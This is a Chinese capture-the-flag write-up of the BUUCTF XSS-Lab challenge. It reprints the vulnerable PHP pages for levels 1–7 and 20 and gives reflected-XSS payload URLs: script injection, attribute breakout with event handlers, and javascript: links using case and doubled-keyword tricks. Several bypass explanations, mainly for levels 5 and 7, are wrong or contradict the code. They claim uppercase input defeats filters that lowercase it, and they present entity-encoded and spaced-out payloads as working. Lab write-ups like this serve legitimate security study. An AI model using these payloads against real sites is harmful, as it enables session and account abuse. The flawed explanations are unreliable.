3.【BUUCTF】XSS-Lab1

进入题目页面如下

好好好,提示点击图片,点进去页面如下,且url中有传参,有注入点

发现题目给出了源码

查看得到本题的源码

分析一下代码

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head>
    <!-- 设置页面字符编码为 UTF-8,确保能正确显示各种语言字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写 window.alert 函数
        window.alert = function() {
            // 弹出确认框,显示消息"完成的不错!"
            confirm("完成的不错!");
            // 将浏览器当前页面重定向到 level2.php 页面,并传递 keyword 参数,值为 test
            window.location.href="level2.php?keyword=test"; 
        }
    </script>
    <!-- 设置页面标题,显示在浏览器标签栏 -->
    <title>欢迎来到level1</title>
</head>
<body>
    <!-- 定义一级标题,内容居中显示(注:align 属性不推荐使用,建议用 CSS 替代) -->
    <h1 align="center">欢迎来到level1</h1>
    <?php 
        // 设置 PHP 不显示错误信息,避免暴露敏感错误细节
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 name 的值,并赋值给变量 $str
        $str = $_GET["name"];
        // 输出二级标题,显示欢迎用户信息,标题内容包含从 GET 参数获取的 name 值,内容居中显示
        echo "<h2 align=\"center\">欢迎用户".$str."</h2>";
    ?>
    <center><img src="level1.png"></center>
    <?php 
        // 输出三级标题,显示从 GET 参数获取的 name 值的长度,内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";
    ?>
</body>
</html>

这段代码存在反射型 XSS 漏洞,原因在于直接将用户通过 GET 请求传入的 name 参数值 $str 输出到 HTML 页面中,且未对该参数进行任何的过滤和转义处理。

可以构造包含恶意脚本的 URL,

html 复制代码
http://1a8841d3-460e-4819-b0fa-52b329c644de.node5.buuoj.cn:81/level1.php?name=<script>alert('XSS攻击')</script>

当用户访问这个 URL 时,服务器会将恶意脚本作为响应的一部分返回给浏览器,浏览器会执行该脚本,从而导致 XSS 攻击。

进入第二关?level2,

居然不能直接得到flag qyq

在GitHub继续查看源码,并分析

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告诉浏览器按照 HTML5 规范来解析此页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写了浏览器原生的 alert 函数
        window.alert = function() {
            // 弹出一个确认框,显示提示信息"完成的不错!"
            confirm("完成的不错!");
            // 页面跳转到 level3.php 页面,并传递一个名为 writing 的参数,值为 wait
            window.location.href = "level3.php?writing=wait"; 
        }
    </script>
    <!-- 设置浏览器标签栏显示的页面标题 -->
    <title>欢迎来到level2</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(不过 align 属性已不推荐使用,建议用 CSS 替代) -->
    <h1 align="center">欢迎来到level2</h1>
    <?php 
        // 禁止 PHP 显示错误信息,防止错误信息泄露敏感内容
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str
        $str = $_GET["keyword"];
        // 输出一个二级标题,标题内容显示没有找到和用户输入的 keyword 相关的结果
        // htmlspecialchars 函数对 $str 进行了 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,表单提交方式为 GET,提交地址为当前的 level2.php 页面
        echo '<center>
<form action="level2.php" method="GET">
    <!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword -->
    <input name="keyword"  value="'.$str.'">
    <!-- 提交按钮,点击后会将表单数据以 GET 方式提交 -->
    <input type="submit" name="submit" value="搜索"/>
</form>
</center>';
    ?>
    <!-- 显示一张图片,图片文件名为 level2.png,并将图片居中显示(<center> 标签已不推荐使用) -->
    <center><img src="level2.png"></center>
    <?php 
        // 输出一个三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";
    ?>
</body>
</html>

虽然代码中对 $str 在显示搜索结果时使用 htmlspecialchars 函数进行了 HTML 实体编码,一定程度上防止了部分 XSS 攻击,但在表单输入框的 value 属性中直接使用了未经过充分过滤和转义的 $str,造成xss攻击

可以构造包含特殊字符的恶意 keyword 参数,

html 复制代码
/level2.php?keyword="><script>alert('XSS攻击')</script><"

当用户访问这个恶意 URL 时,在生成的 HTML 代码中,输入框的 value 属性就会变成:

<input name="keyword"  value=""><script>alert('XSS攻击')</script><">

浏览器在解析这段 HTML 代码时,会将其中的 <script> 标签内的代码当作 JavaScript 代码执行,从而触发 XSS 攻击,弹出提示框显示 "XSS 攻击"。

进入第三关level3

在GitHub继续查看源码,并分析

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写了浏览器原生的 alert 函数
        window.alert = function() {
            // 弹出一个确认框,显示消息"完成的不错!"
            confirm("完成的不错!");
            // 将浏览器的当前页面重定向到 level4.php 页面,并传递 keyword 参数,值为 try harder!
            window.location.href = "level4.php?keyword=try harder!"; 
        }
    </script>
    <!-- 设置页面在浏览器标签栏显示的标题 -->
    <title>欢迎来到level3</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) -->
    <h1 align="center">欢迎来到level3</h1>
    <?php 
        // 设置 PHP 不显示错误信息,防止敏感错误信息泄露
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str
        $str = $_GET["keyword"];
        // 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果
        // 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,表单提交方式为 GET,提交地址为当前的 level3.php 页面
        echo "<center>
<form action=\"level3.php\" method=\"GET\">
    <!-- 文本输入框,用于输入搜索关键词,初始值为用户之前输入的 keyword 并进行了 HTML 实体编码 -->
    <input name=\"keyword\"  value='".htmlspecialchars($str)."'>
    <!-- 提交按钮,点击后以 GET 方式提交表单数据 -->
    <input type=\"submit\" name=\"submit\" value=\"搜索\" />
</form>
</center>";
    ?>
    <!-- 显示一张图片,图片文件名为 level3.png,并将图片居中显示(<center> 标签已被弃用) -->
    <center><img src="level3.png"></center>
    <?php 
        // 输出三级标题,显示用户输入的 keyword 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str)."</h3>";
    ?>
</body>
</html>
1. htmlspecialchars 参数使用问题

htmlspecialchars 函数默认情况下只会对少数几个特殊字符(如 <>& 等)进行编码,如果利用未被编码的特殊字符,还是有可能构造出恶意脚本。例如,如果传入包含 onerror 等事件属性的恶意输入,在某些浏览器环境下可能会触发 XSS 攻击。

可以构造如下恶意的 keyword 参数:

html 复制代码
/level3.php?keyword=' onclick='alert(1)

虽然 htmlspecialchars 会对部分字符进行编码,但如果没有正确设置其参数(如未指定 ENT_QUOTES 来同时编码单引号和双引号),可能无法完全阻止恶意脚本的执行。

2. 上下文处理不当

即使进行了 HTML 实体编码,在不同的 HTML 上下文环境中,编码后的内容可能会被错误解析。例如,在 JavaScript 代码块或者 CSS 样式属性中,如果直接使用经过 htmlspecialchars 编码的内容,可能会导致编码失效,从而引发 XSS 漏洞。

3. 绕过机制

可能会利用浏览器的特性或者 HTML 规范的一些边缘情况来绕过 htmlspecialchars 的防护。例如,利用 HTML 注释、字符编码转换等方式来隐藏恶意脚本,当浏览器解析页面时,这些隐藏的脚本可能会被执行。

注意这里需要点击一下输入框

进入下一关level4

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写浏览器原生的 alert 函数
        window.alert = function() {
            // 弹出一个确认框,显示消息"完成的不错!"
            confirm("完成的不错!");
            // 将浏览器的当前页面重定向到 level5.php 页面,并传递 keyword 参数,值为 find a way out!
            window.location.href = "level5.php?keyword=find a way out!"; 
        }
    </script>
    <!-- 设置页面在浏览器标签栏显示的标题 -->
    <title>欢迎来到level4</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) -->
    <h1 align="center">欢迎来到level4</h1>
    <?php 
        // 设置 PHP 不显示错误信息,防止敏感错误信息泄露
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str
        $str = $_GET["keyword"];
        // 把 $str 中的大于号(>)替换为空字符串,结果存储在 $str2 中
        $str2 = str_replace(">", "", $str);
        // 把 $str2 中的小于号(<)替换为空字符串,结果存储在 $str3 中
        $str3 = str_replace("<", "", $str2);
        // 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果
        // 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,表单提交方式为 GET,提交地址为当前的 level4.php 页面
        echo '<center>
<form action="level4.php" method="GET">
    <!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 -->
    <input name="keyword"  value="'.$str3.'">
    <!-- 提交按钮,点击后以 GET 方式提交表单数据 -->
    <input type="submit" name="submit" value="搜索" />
</form>
</center>';
    ?>
    <!-- 显示一张图片,图片文件名为 level4.png,并将图片居中显示(<center> 标签已被弃用) -->
    <center><img src="level4.png"></center>
    <?php 
        // 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";
    ?>
</body>
</html>
1. 过滤不彻底

代码仅简单地将输入中的小于号(<)和大于号(>)替换为空字符串,然而 XSS 攻击的方式多样,攻击者可以利用其他字符或 HTML 属性来构造恶意脚本。例如,攻击者可以使用单引号(')、双引号(")来破坏 HTML 标签的属性值,进而注入恶意脚本。

可以构造如下恶意的 keyword 参数:

html 复制代码
/level4.php?keyword=" onfocus=alert('XSS') autofocus="

经过 str_replace 处理后,由于没有过滤引号等字符,在生成的 HTML 代码中,输入框的 value 属性会变成:

<input name="keyword"  value=" onfocus=alert('XSS') autofocus=">

当输入框获得焦点时,就会触发 alert('XSS') 脚本,从而实现 XSS 攻击。

成功进入第五关level5

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写浏览器原生的 alert 函数
        window.alert = function() {
            // 弹出确认框,显示提示信息"完成的不错!"
            confirm("完成的不错!");
            // 将页面重定向到 level6.php 并传递 keyword 参数,值为 break it out!
            window.location.href = "level6.php?keyword=break it out!";
        }
    </script>
    <!-- 设置浏览器标签栏显示的页面标题 -->
    <title>欢迎来到level5</title>
</head>
<body>
    <!-- 定义一级标题,内容居中显示(align 属性不推荐使用,建议用 CSS 替代) -->
    <h1 align="center">欢迎来到level5</h1>
    <?php
        // 禁止 PHP 显示错误信息,防止敏感信息泄露
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取 keyword 的值,并将其转换为小写,存储在 $str 中
        $str = strtolower($_GET["keyword"]);
        // 将 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签的使用
        $str2 = str_replace("<script", "<scr_ipt", $str);
        // 将 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性(如 onclick、onload 等)的使用
        $str3 = str_replace("on", "o_n", $str2);
        // 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果
        // 使用 htmlspecialchars 对 $str 进行 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,提交方式为 GET,提交地址为当前的 level5.php 页面
        echo '<center>
<form action="level5.php" method="GET">
    <!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str3 -->
    <input name="keyword"  value="'.$str3.'">
    <!-- 提交按钮,点击后提交表单 -->
    <input type="submit" name="submit" value="搜索" />
</form>
</center>';
    ?>
    <!-- 显示一张图片,图片文件名为 level5.png,并将图片居中显示(<center> 标签已被弃用) -->
    <center><img src="level5.png"></center>
    <?php
        // 输出三级标题,显示处理后 $str3 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str3)."</h3>";
    ?>
</body>
</html>
1. 过滤不全面

绕过替换规则 :虽然代码尝试替换 <scripton,但攻击者可以采用其他方式构造恶意脚本。例如,攻击者可以使用大写字母、HTML 实体编码或者其他字符组合来绕过这种简单的替换。如输入 <SCRIPT>,由于代码先将输入转换为小写,所以可以绕过对 <script 的替换;对于 on 的替换,可以使用 ON 或者 oN 等不同大小写组合。

其他危险标签和属性 :除了 <script> 标签和 on 开头的事件属性外,还有很多其他方式可以执行 JavaScript 代码。例如,<img> 标签的 src 属性可以使用 javascript: 伪协议,<a> 标签的 href 属性也可以使用该伪协议来执行脚本。代码没有对这些情况进行处理。

2. 输出上下文处理不一致

在显示搜索结果时使用 htmlspecialchars$str 进行了 HTML 实体编码,而表单输入框的 value 属性使用的是经过 str_replace 处理后的 $str3。这种处理方式的不一致可能导致安全漏洞。如果输入的内容经过 str_replace 处理后仍然可以在输入框的 value 属性上下文中执行脚本,就会引发 XSS 攻击。

payload:

html 复制代码
/level5.php?keyword="><a href=javascript:alert(1)>

点击">成功进入下一个

level6

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写浏览器的原生 alert 函数
        window.alert = function() {
            // 弹出一个确认框,显示消息"完成的不错!"
            confirm("完成的不错!");
            // 将浏览器的当前页面重定向到 level7.php 页面,并传递 keyword 参数,值为 move up!
            window.location.href = "level7.php?keyword=move up!";
        }
    </script>
    <!-- 设置页面在浏览器标签栏显示的标题 -->
    <title>欢迎来到level6</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) -->
    <h1 align="center">欢迎来到level6</h1>
    <?php
        // 设置 PHP 不显示错误信息,防止敏感错误信息泄露
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 keyword 的值,并赋值给变量 $str
        $str = $_GET["keyword"];
        // 把 $str 中的 <script 替换为 <scr_ipt,存储在 $str2 中,尝试阻止 <script> 标签注入
        $str2 = str_replace("<script", "<scr_ipt", $str);
        // 把 $str2 中的 on 替换为 o_n,存储在 $str3 中,尝试阻止 HTML 事件属性注入
        $str3 = str_replace("on", "o_n", $str2);
        // 把 $str3 中的 src 替换为 sr_c,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源
        $str4 = str_replace("src", "sr_c", $str3);
        // 把 $str4 中的 data 替换为 da_ta,存储在 $str5 中,data 属性常用于嵌入资源,防止其被恶意利用
        $str5 = str_replace("data", "da_ta", $str4);
        // 把 $str5 中的 href 替换为 hr_ef,存储在 $str6 中,防止通过 href 属性注入恶意链接
        $str6 = str_replace("href", "hr_ef", $str5);
        // 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果
        // 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,表单提交方式为 GET,提交地址为当前的 level6.php 页面
        echo '<center>
<form action="level6.php" method="GET">
    <!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 -->
    <input name="keyword"  value="'.$str6.'">
    <!-- 提交按钮,点击后以 GET 方式提交表单数据 -->
    <input type="submit" name="submit" value="搜索" />
</form>
</center>';
    ?>
    <!-- 显示一张图片,图片文件名为 level6.png,并将图片居中显示(<center> 标签已被弃用) -->
    <center><img src="level6.png"></center>
    <?php
        // 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";
    ?>
</body>
</html>
代码采用的是黑名单过滤机制,即通过替换一系列被认为危险的字符串来防止 XSS 攻击。然而,黑名单无法覆盖所有可能的攻击向量,可以利用未被列入黑名单的字符组合或方法来构造恶意脚本。

大小写绕过 :代码只是简单地替换特定的小写字符串,攻击者可以使用大写、大小写混合的方式绕过过滤。例如,使用 <SCRIPT>ONCLICK 等。

HTML 实体编码绕过 :攻击者可以使用 HTML 实体编码来表示危险字符,如 &lt;script&gt; ,代码没有对 HTML 实体进行处理,会导致过滤失效。

字符拼接和变形 :攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 src 中间插入空格或其他字符,像 s r c

在显示搜索结果时使用 htmlspecialchars$str 进行编码,而在表单输入框的 value 属性中使用经过多次替换处理后的 $str6。这种不同的处理方式可能导致安全漏洞,因为 str_replace 处理可能无法应对复杂的攻击场景,而 htmlspecialchars 的编码范围可能和 str_replace 处理不匹配。

除了代码中替换的 <script>onsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression() (IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。代码没有对这些情况进行处理。

payload:

html 复制代码
/level6.php?keyword="><a HrEf=javascript:alert(1)>

进入下一关

level7

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析此页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF-8,确保页面能正确显示各种语言的字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写浏览器原生的 alert 函数
        window.alert = function() {
            // 弹出一个确认框,显示消息"完成的不错!"
            confirm("完成的不错!");
            // 将浏览器的当前页面重定向到 level8.php 页面,并传递 keyword 参数,值为 nice try!
            window.location.href = "level8.php?keyword=nice try!";
        }
    </script>
    <!-- 设置页面在浏览器标签栏显示的标题 -->
    <title>欢迎来到level7</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(align 属性不推荐使用,建议用 CSS 实现) -->
    <h1 align="center">欢迎来到level7</h1>
    <?php
        // 设置 PHP 不显示错误信息,防止敏感错误信息泄露
        ini_set("display_errors", 0);
        // 从 URL 的 GET 参数中获取名为 keyword 的值,并将其转换为小写,赋值给变量 $str
        $str = strtolower($_GET["keyword"]);
        // 把 $str 中的 "script" 替换为空字符串,存储在 $str2 中,尝试阻止 <script> 标签注入
        $str2 = str_replace("script", "", $str);
        // 把 $str2 中的 "on" 替换为空字符串,存储在 $str3 中,尝试阻止 HTML 事件属性注入
        $str3 = str_replace("on", "", $str2);
        // 把 $str3 中的 "src" 替换为空字符串,存储在 $str4 中,尝试阻止通过 src 属性注入恶意资源
        $str4 = str_replace("src", "", $str3);
        // 把 $str4 中的 "data" 替换为空字符串,存储在 $str5 中,防止 data 属性被恶意利用
        $str5 = str_replace("data", "", $str4);
        // 把 $str5 中的 "href" 替换为空字符串,存储在 $str6 中,防止通过 href 属性注入恶意链接
        $str6 = str_replace("href", "", $str5);
        // 输出二级标题,显示没有找到和用户输入的 keyword 相关的结果
        // 使用 htmlspecialchars 函数对 $str 进行 HTML 实体编码,防止部分 XSS 攻击
        echo "<h2 align=\"center\">没有找到和".htmlspecialchars($str)."相关的结果.</h2>";
        // 输出一个表单,表单提交方式为 GET,提交地址为当前的 level7.php 页面
        echo '<center>
<form action="level7.php" method="GET">
    <!-- 文本输入框,用于输入搜索关键词,初始值为处理后的 $str6 -->
    <input name="keyword"  value="'.$str6.'">
    <!-- 提交按钮,点击后以 GET 方式提交表单数据 -->
    <input type="submit" name="submit" value="搜索" />
</form>
</center>';
    ?>
    <!-- 显示一张图片,图片文件名为 level7.png,并将图片居中显示(<center> 标签已被弃用) -->
    <center><img src="level7.png"></center>
    <?php
        // 输出三级标题,显示处理后 $str6 的长度,并将标题内容居中显示
        echo "<h3 align=\"center\">payload的长度:".strlen($str6)."</h3>";
    ?>
</body>
</html>
大小写绕过 :代码先将输入转换为小写再进行替换,攻击者可以使用大写或大小写混合的方式绕过过滤。例如,使用 <SCRIPT><ScRiPt> 等。

HTML 实体编码绕过 :攻击者可以使用 HTML 实体编码来表示危险字符或字符串,如 &lt;script&gt; 不会被当作 script 进行替换。

字符拼接和变形 :攻击者可以通过插入无关字符或对危险字符串进行变形来绕过过滤。比如,在 script 中间插入空格或其他字符,像 s c r i p t

未覆盖所有危险属性和标签 :除了代码中替换的 scriptonsrcdatahref 之外,HTML 中还有许多其他属性和标签可以被用于 XSS 攻击,如 style 属性可以通过 expression()(IE 浏览器)或 javascript: 伪协议执行脚本,object 标签也可以加载恶意资源等。

构造的 Payload

1. 利用大小写绕过
html 复制代码
/level7.php?keyword="><scrscriptipt>alert(1)</scrscriptipt>

由于代码将输入转换为小写后才进行替换,所以大写的 <SCRIPT> 不会被替换,可能会触发 XSS 攻击。

2. 利用 HTML 实体编码绕过
html 复制代码
/level7.php?keyword=&lt;script&gt;alert('XSS')&lt;/script&gt;

&lt;&gt; 分别是 <> 的 HTML 实体编码,&lt;script&gt; 不会被当作 script 进行替换,当浏览器解析页面时会将实体编码转换回对应的字符,从而执行恶意脚本。

3. 利用字符拼接绕过
html 复制代码
/level7.php?keyword=<s c r i p t>alert('XSS')</s c r i p t>

script 中间插入空格,使得代码的替换操作无法生效,进而可能触发 XSS 攻击。

4. 利用未过滤的属性
html 复制代码
/level7.php?keyword=<img style="background-image:url(javascript:alert('XSS'))">

代码没有对 style 属性进行过滤,攻击者可以通过 style 属性中的 javascript: 伪协议执行脚本,从而实现 XSS 攻击。

进入第八关qyq什么时候才能做完这道题

居然有友情链接,高低点进去看看

20try?这里查看了源码最多达到level20,qyq

难道真的要一道一道做?重新观察了一下url,难道数字可以改?直接跳转到20关?

快来试试

可以的,虽然没有加载出图片但是可以直接做20题

查看源码

html 复制代码
<!DOCTYPE html><!--STATUS OK-->
<!-- 声明文档类型为 HTML5,告知浏览器按照 HTML5 标准解析该页面 -->
<html>
<head>
    <!-- 设置页面的字符编码为 UTF - 8,确保页面能正确显示各种语言字符 -->
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <script>
        // 重写浏览器的 alert 函数
        window.alert = function() {
            // 弹出确认框,显示提示信息"完成的不错!"
            confirm("完成的不错!");
            // 页面重定向到 level21.php ,并传递两个参数 arg01 和 arg02
            window.location.href = "level21.php?arg01=a&arg02=b";
        }
    </script>
    <!-- 设置浏览器标签栏显示的页面标题 -->
    <title>欢迎来到level20</title>
</head>
<body>
    <!-- 定义一级标题,将标题内容居中显示(注:align 属性已不推荐使用,建议用 CSS 替代) -->
    <h1 align="center">欢迎来到level20</h1>
    <?php
        // 禁止 PHP 显示错误信息,防止敏感信息泄露
        ini_set("display_errors", 0);
        // 输出一个 embed 标签用于嵌入 Flash 文件(xsf04.swf)
        // 从 URL 的 GET 参数中获取 arg01 和 arg02 的值
        // 使用 htmlspecialchars 函数对 arg01 和 arg02 的值进行 HTML 实体编码,防止部分 XSS 攻击
        // 将编码后的值拼接成 Flash 文件的参数,格式为 arg01=arg02
        echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
    ?>
</body>
</html>
Flash 文件的安全风险

Flash 自身漏洞 :Flash 文件(xsf04.swf)可能存在安全漏洞。如果该 Flash 文件在处理传入的参数(arg01arg02)时没有进行严格的输入验证和过滤,攻击者可以通过构造恶意参数来触发 Flash 文件内部的漏洞,从而执行恶意脚本。

跨站脚本交互:即使对传入的参数进行了 HTML 实体编码,但 Flash 文件可能会将这些编码后的参数解码并使用。如果 Flash 文件在解码后没有再次进行安全检查,攻击者就可以通过构造特殊的参数来实现跨站脚本攻击。

参数拼接和 URL 构造问题

URL 解析差异 :虽然对 arg01arg02 进行了 HTML 实体编码,但在将它们拼接到 Flash 文件的 URL 中时,可能会因为不同浏览器或 Flash 播放器对 URL 的解析方式不同而导致编码失效。例如,某些浏览器可能会在特定情况下对 URL 进行解码,使得恶意脚本有机会被执行。

参数注入 :攻击者可以通过构造特殊的参数值,利用 URL 中的参数分隔符(如 &? 等)来注入额外的参数或修改原有的参数,从而改变 Flash 文件的行为。

用burp suite抓包,终于得到了flag,qyq

相关推荐
网络安全King42 分钟前
Web安全|渗透测试|网络安全
安全·web安全
AIQL1 小时前
智能化转型2.0:从“工具应用”到“价值重构”
网络·人工智能·ai·创业创新
华为云PaaS服务小智1 小时前
开源安全一站式构建!开启企业开源治理新篇章
安全·开源·华为云
Adler学安全2 小时前
CS 与 BS 架构的差异
网络
dal118网工任子仪4 小时前
102,【2】buuctf web [第二章 web进阶]XSS闯关
前端·xss
dal118网工任子仪4 小时前
101,【1】buuctf web BUU XSS COURSE 1
前端·xss
doubt。4 小时前
1.【BUUCTF】BUU XSS COURSE 11及XSS知识点
网络·安全·web安全·网络安全·xss
zhangzhangkeji4 小时前
(9) 上:学习与验证 linux 里的 epoll 对象里的 EPOLLIN、 EPOLLHUP 与 EPOLLRDHUP 的不同
linux·网络·epoll 标志